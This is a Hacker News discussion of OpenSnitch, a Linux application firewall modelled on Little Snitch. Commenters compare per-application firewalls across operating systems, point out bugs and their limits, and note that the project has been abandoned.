Also I personally also am a huge fan of Little Snitch, I do want to caution everyone who rushes to install that, after all, like all software Little Snitch has bugs, and because it runs in ring 0, any bugs can potentially have annoying consequences, including being exploited by malware. See for example this news report[0] or the DEF CON talk[1]. I personally do use Little Snitch, but this is after consideration of my own privacy desire against risk of security holes being exploited. I personally chose the former. You should personally weigh these and decide. [0]: https://www.theregister.co.uk/AMP/2016/08/03/mac_firewall_littlesnitch/ https://www.theregister.co.uk/AMP/2016/08/03/mac_firewall_li... [1]: https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Patrick-Wardle-99-Problems-Little-Snitch.pdf https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20pre...
- labawi 7y ago
  Opensnitch does not run in ring 0, though it does run as root.
  - wadkar 7y ago
    From malware/exploitation perspective, aren’t two the same things?
    - kstrauser 7y ago
      Not really. For instance, there’s a lot of stuff you can’t do as root on a Mac because of SIP. If you’re in the kernel, all bets are off.
- dmurray 7y ago
  I would think Little Snitch reduces your attack surface enough that it's a strict improvement in security, not just privacy. After all, macOS has bugs too.
webmobdev 7y ago
Yeah, Little Snitch is quite popular on Mac. But a much, much cheaper and much easier and simpler to use software is TripMode - https://www.tripmode.ch/ https://www.tripmode.ch/ ... While it is not marketed as an outbound firewall, it does a great job as one. It isn't as sophisticated as Little Snitch and doesn't offer fine-grained levels of filtering but that's a plus for those who are not advanced users - it simply allows or blocks an "app" from connecting to the internet. It can also monitor your bandwidth usage. (The Mac version is very stable, but I found the Windows 10 version to be a bit buggy).
- ShakataGaNai 7y ago
  So I love TripMode but it's a very different beast. LittleSnitch = I want to monitor every connection every application makes. TripMode = I want to disable Dropbox, Apple Software Update & Steam while on MyPhoneHotspot. That being said, I wish there was an OpenTripMode, or... something on Linux.
  - webmobdev 7y ago
    Yeah, Little Snitch offers fine grained filtering control as it works at the "connection" level monitoring each and every connection, where as TripMode works at the "app" level only and either allows or blocks them from accessing the internet without any regards to the number of "connections" made or to whom the "connection" is made to. And it works on broadband / fibre connections too, and not just for mobile data. (Tip: Private Eye is a free software that allows you to monitor all connections made by any system or application softwares on your Mac. It's now bundled as part of another paid outbound firewall, similar to TripMode, called RadioSilence - https://radiosilenceapp.com/ https://radiosilenceapp.com/ but the free "monitoring only" version of Private Eye can still be found on the net).
- gxnxcxcx 7y ago
  On the cheaper side on the spectrum but not quite as cheap as TripMode, there is Vallum: https://vallumfirewall.com https://vallumfirewall.com I've been using it for years and the only feature I miss is domain/subdomain blacklisting. If there is no need for such a granular control of outgoing connections for any given application, there's also the no-cost and open-sourced LuLu: https://github.com/objective-see/LuLu https://github.com/objective-see/LuLu
hi5eyes 7y ago
> Sorry if this reads like an ad pitch for Little Snitch. I'm not associated with them, but I'm a very, very happy customer no need, little snitch is one of the most popular programs for power mac users; I've been a fan since at at least 2011
castillar76 7y ago
Huge fan of Little Snitch, and I agree: it's been really useful for discovering and shutting down all the telemetry and ad traffic. One thing people don't realize is that you can take many of the popular ad-blocking lists and subscribe to them in Little Snitch! Peter Lowe's Block List, for instance, produces a plain-text format (https://pgl.yoyo.org/adservers/serverlist.php?hostformat=littlesnitch-rule-group-subscriptions&mimetype=plaintext https://pgl.yoyo.org/adservers/serverlist.php?hostformat=lit...) that's perfect: you subscribe to it in Little Snitch, and it automatically blocks everything on the list everywhere, with updates pulled on the regular from the pgl.yoyo.org servers. One frustration I've had lately—and it's not Little Snitch's fault!—is the number of unnamed micro-service endpoints in use. Office365, Dropbox, and others have started using random cloud IPs for their content distribution endpoints, so you get a popup for "OneDrive wants to connect to XXX.YYY.ZZZ.QQQ on port 25427. Allow?" You have no basis for knowing if that IP is legit or not, you can't use the port to judge it, and you know if you cut off too many of them the app will break. Super frustrating, and seems deliberately designed to break things like LS.
- pgl 7y ago
  Glad you're finding my list useful. There are very few downloads in Little Snitch format per day (419 today so far out of 2.7m accesses).
sgsvnk 7y ago
Wow, this should go on the readme. I'm sure this helps a lot of people understand what the app does in simple terms.
dzhiurgis 7y ago
Does Little Snitch work as a kernel extension? I use Lulu but it really screws with Virtualbox and generally can really stress kernel if you try to do something very network intensive. Would love to find better alternative, ideally free.

antiuniverse 7y ago

This is neat, but it seems strange to call it a "port" of a closed source proprietary commercial product. It doesn't actually seem to be related beyond also being a firewall with a UI that kinda imitates Little Snitch. I think a better term might be "clone"?

TwoNineFive 7y ago
This is correct. This is not a port. I wouldn't even call it a clone. It's more like "inspired by." It's just a Hyperbolic Headline.
- heavyset_go 7y ago
  > It's just a Hyperbolic Headline. Maybe, but it's effective. I instantly know what it does instead of trying ascertain what makes Yet Another Linux Firewall different from the rest.
  - Wowfunhappy 7y ago
    Then call it a "recreation" of Little Snitch or something. Calling it a "port" is completely inaccurate and misleading. I clicked on this thread thinking the Little Snitch developers must be involved somehow. And If I were the Little Snitch devs, I'd be more than a little annoyed.
  - PhilippGille 7y ago
    > I instantly know what it does And with "clone" you wouldn't?
bangonkeyboard 7y ago
I brought this up when the project was a couple of weeks old (the submission title was subsequently changed): https://news.ycombinator.com/item?id=14252406 https://news.ycombinator.com/item?id=14252406 It is annoying that it still calls itself a port three years later.

ChrisMarshallNY 7y ago

Good show! I use Little Snitch for my computer. It really does rat out the apps that want to tell others about me.

boarnoah 7y ago

Neat, really liked the idea of lil snitch. Is the UI a python web app or a Qt desktop app? There's references to both in the readme

arnado 7y ago
I think it's a python Qt app. There is also an open issue for tracking a replacement UI in Go

qwerty456127 7y ago

I would even pay for a LittleSnitch clone for Linux if it worked nearly as good as LittleSnitch does.

m463 7y ago
it would be nice to have a littlesnitch box for the network
- qwerty456127 7y ago
  There already are enough powerful network-level firewalls available for Linux. The key feature of LittleSnitch mising on Linux is controlling network activities of particular applications on your computer.
  - mokus 7y ago
    That’s one key feature, but another is the real-time approval UI. I’d love to have that for my other network devices like printers, video game consoles, etc. If I had that I might even consider off-the-shelf “smart home” stuff but for now I just won’t buy any such hardware unless it’s 100% local with wires and/or 802.1X support, and even then I don’t really trust it.
    - qwerty456127 7y ago
      Try Vuurmuur. It's not exactly what you describe but pretty close to that.
  - m463 7y ago
    That's a good point, but I was thinking of the popup message, which could be saved for the future.

parvenu74 7y ago

What is the Windows equivalent of this tool?

ktta 7y ago
GlassWire. Non-free though. Any OSS that do this are terrible.
- 3131s 7y ago
  Including this one then? I assume you've combed through all of github to verify this?
  - ktta 7y ago
    I've tried various apps, including this. Other apps like this too, both on Linux and Windows. On Linux, OpenSnitch and Douane. OpenSnitch is not optimized and results in high CPU usage when you move a lot of traffic. With Douane I had trouble using it for longer than a day since it resulted in my PC crashing caused by the kernel module that it installs. There seemed to be a bug in the C code somewhere, and it didn't go away when I checked back a couple months later. Coming to Windows, most apps were really old. Only some actually worked with Windows 10 where NDIS 6.x came in and broke some things. Those that did work were so basic you could just use the Windows Firewall app. I tried everything I could get my hands on (in a VM) in search of the nice features that LittleSnitch provided. GlassWire was so far ahead in the features and control it provided, I made an exception in buying a subscription based software (which I almost never do)
aargh_aargh 7y ago
About 15 years ago this kind of "application firewall" used to be really popular on Windows. IIRC, ZoneAlarm and/or Kerio was really popular? And some Antivirus software also included application firewall. Can't vouch for anything particular these days, though, haven't used such thing for a long time.
- pdonis 7y ago

ct0 7y ago

I always wondered what the windows equivalent was, knowing how well received the app has been for mac users.

qwerty456127 7y ago
There are many, some better, some worse in particular ways. It all began with Outpost firewall during the Windows 98 days, then more alternatives emerged. Kerio Personal Firewall was what I liked the best for Windows XP. Windows 7-10 have surprisingly good firewall built-in, all you need is a good GUI to control it - Windows 10 Firewall Control by Sphinx Software.
decko 7y ago
Glasswire is probably the closest equivalent for Windows
mcyukon 7y ago
Check out NetLimiter 4 https://www.netlimiter.com/products/nl4 https://www.netlimiter.com/products/nl4 Has the same blocking capabilities, however it is not just install and run like LS is. It needs a little configuring to get it to behave like LS, and (For me) it took a bit till I understood what to turn on and what rules to enable. Once I had the rules setup, it's basically the same. Once an app wants to connect you can let it connect once, until terminated, for forever, to once domain only, or any domain.
dikei 7y ago
There's loads of firewall application on Windows: ZoneAlarm, Comodo, Tinywall. Some use their own packets filtering driver, while some are just frontend for Window's built-in firewall. I used to run these for a while, but it gets annoying real fast with large amount of pop-up. So now I stop using them, and only block known bad IPs using my Pi-hole, allowing everything else.
- tbyehl 7y ago
  > only block known bad IPs using my Pi-hole I'd consider this too nit-picky in most contexts, but we're in a thread about connection-blocking software. PiHole is a DNS server. It cannot block IPs or connections. I'm with you that Little Snitch style filtering gets annoying, but DOH is going to obsolete PiHole / DNS filtering very fast. Can't filter DOH at the gateway without taking on all the other hassles of MITM and can't prevent an app from using whatever DOH server it chooses.

bigcohoneypot 7y ago

Finally

I_am_tiberius 7y ago

Great that this exists. I really like the application. Here are some issues: - There's a countdown when an unknown outgoing connection is discovered - the countdown is currently not being stopped when you focus the countdown window. The countdown is only 15 seconds or so - if the countdown is over, it automatically approves the connection. - Rules cannot be edited via the python interface. There is one config file per rule though. - My computer has been freezing sometimes since I started using it. Not sure but that behavior is related to the tool. - Sometimes high cpu usage. - It would be great of have some kind of rule-set which can be used as a starting point (optionally). - Python interface is slow. Generally not a fan of client applications that are based on Python.

beagle3 7y ago
All the defaults are configurable (with a config file, not GUI). I have set it to “default deny” and 60 secs.

gruez 7y ago

Software like this seem like snakeoil to me. They often rely on process paths to identify applications, but that can be easily bypassed by using a reputable/plausible program as a lackey [1], or more sophisticated techniques like process hollowing[2]. Afterwards, they can communicate as the (presumably whitelisted) application. Any host-based rules (if any) can be bypassed by routing internet traffic using "popular" domains (eg. CDNs, social media networks), or by social engineering (eg. triggering a request at the same time as a user action, to make the user think it's something he intended to do). On unsandboxed platforms, you either trust an application completely, or you don't. Tools like little snitch don't turn dangerous programs into safe ones; they only give you a false sense of security. [1] https://news.ycombinator.com/item?id=22207089 https://news.ycombinator.com/item?id=22207089 [2] https://wikileaks.org/ciav7p1/cms/page_3375167.html https://wikileaks.org/ciav7p1/cms/page_3375167.html

goldenkey 7y ago
Applications that perform DLL injection or modify PEB or to try ring 0 escalation can already be detected in some forms by heuristic anti virus. Little Snitch is still useful as long as the other bases are covered. Think of security as a whole instead of debunking a utility because it fails to prevent other types of exploitation
- gruez 7y ago
  >Applications that perform DLL injection or modify PEB or to try ring 0 escalation can already be detected in some forms by heuristic anti virus. Process hollowing is a last resort. You can get pretty far by exploiting chrome/firefox (with their multiprocess architecture), or by using common command line utils like curl/wget. >Think of security as a whole instead of debunking a utility because it fails to prevent other types of exploitation If you understand the limitations, great. However I don't think most users do. As it stands now, using such programs is closer to security by obscurity than any serious security measure (eg. ublock or noscript[1]). The only reason they haven't been bypassed is because the install base is small and isn't worth the effort. [1] technically it's still possible to achieve arbitrary communication and/or code execution, but the blocking features can't be bypassed.

ct520 7y ago

Looking for something similar but on windows, suggestions?

frio 7y ago

I believe the project may be dead -- https://github.com/evilsocket/opensnitch/issues/259 https://github.com/evilsocket/opensnitch/issues/259 -- but I see there has been some activity since then.

I_am_tiberius 7y ago
Anyone who wants to contribute is definitely welcome.
gus_ 7y ago
Many of the PRs have been added here, plus some other ideas and improvements: https://github.com/gustavo-iniguez-goya/opensnitch https://github.com/gustavo-iniguez-goya/opensnitch

anaphor 7y ago

You could do something like this more efficiently using eBPF I bet. E.g. based on TCPLife https://github.com/iovisor/bcc/blob/master/tools/tcplife.py https://github.com/iovisor/bcc/blob/master/tools/tcplife.py

squarefoot 7y ago

Reminds me of that Windows marvel called Kerio Personal Firewall which allowed to restrict connections for any application, a feature that Linux should have had since forever and is becoming more and more important today. Most Linux FOSS apps may not call home, but closed hosted or emulated ones (through WINE for example) often do.

rufugee 7y ago
Um.... contributor, meet open source project. We’re glad you’re here...
beagle3 7y ago
Linux does do that, and has since the Kernel 2.2 or so; In fact, opensnitch is a user mode process thanks to Linux allowing that, whereas windows needed drivers last I checked (win 2000 days, but the network driver model was still the same for win 7 and even later iirc)
- squarefoot 7y ago
  I never knew about that, thanks. I always believed one had to either resort to address/packet filtering at machine level or limit access to networking to a certain uid/gid, then running the software under those credentials. But that would defeat the purpose of allowing access while being warned about that, so that for example one could check if an application is really phoning home for innocuous updates or connecting to some shady addresses for unknown purposes.
- pjmlp 7y ago
  Windows Filtering Platform also has a user mode component.
  - beagle3 7y ago
    That's good to know. Can it divert, modify and delay packets? Or just have a set of rules for go/no-go?

nathants 7y ago

i wanted something a bit simpler, so forked and reduced. recently dropped path matching except for display in the visual prompt, simple global firewall, inbound and out. as others noted, path matching is quite janky. never saw a use of libnetfilterqueue before this, so hats off to evilsocket. https://github.com/nathants/tinysnitch https://github.com/nathants/tinysnitch

pjmlp 7y ago

Nice to see it implemented in Go instead of C, one more example of systems software.

DavideNL 7y ago

Fun fact: in macOS Little Snitch if you create a separate profile for your VPN interface (as specified with the goal to allow certain apps/traffic only when the VPN is up), circumventing the VPN it is as easy as: curl --interface en0 ifconfig.co In other words, no firewall rules are applied to actually block traffic on the non-VPN interface. Apps are only blocked from accessing the internet when the VPN interface goes down.

beagle3 7y ago

One feature opensnitch has (and I have not seen mentioned here) is that you can run the filter on one device e.g. your openwrt router, and the GUI on your laptop; this is a nice feature that no other “personal” firewall (including the original LittleSnitch) provides - filtering for your iPad and smart tv as well!

chmars 7y ago

Be careful with using Little Snitch etc.: 'Predictably, online discussions about problems with app translocation and Little Snitch usually recommend stripping quarantine flags, and from what I can see, this has become quite widespread practice. Yet – just as in the blog article – no one seems to be concerned that what they are doing is bypassing macOS’s primary security defences.' https://eclecticlight.co/2020/01/26/last-week-on-my-mac-when-more-security-subverts-security/ https://eclecticlight.co/2020/01/26/last-week-on-my-mac-when...

eecc 7y ago

Considering that LittleSnitch is a TM, I don’t expect this project to last long with the current name...

_-___________-_ 7y ago
Seems to have lasted quite a while already...

jedisct1 7y ago

I've never been a fan of that kind of application. As a user, it ruins the usability of the operating system. Having alert boxes constantly popping up feels empowering at first, and eventually becomes really annoying and distracting. As a developer, it breaks your application's expectations and is the root cause of hard to diagnose bug reports. People don't understand what they do and end up breaking software updates (making applications less secure) or other applications features.

eugeniub 7y ago
As a user, you don’t have to use it. As a developer, you kind of have to just accept users taking back their own privacy and work around it.
mokus 7y ago
As a user, the reason I run it is specifically to break certain software “features” like telemetry and automatic updates without consent.

williesleg 7y ago

Love the pihole instead of this stuff.

knolax 7y ago

I'm not too familiar with this but would it be possible to spoof the process command to evade any relevant rules?

adultSwim 7y ago

This project is no longer maintained. https://github.com/evilsocket/opensnitch/issues/259 https://github.com/evilsocket/opensnitch/issues/259

fruitcake29938 7y ago
Yeah, I wonder why it appeared on Hacker News today.
cmroanirgo 7y ago
> yes, i'm not working on it anymore and i'm not responding to issues, because i lost interest and nobody pays me for this ... if this project is so essential (?), the "Linux community" can fork it and send a PR. https://github.com/evilsocket/opensnitch/issues/259#issuecomment-498604956 https://github.com/evilsocket/opensnitch/issues/259#issuecom...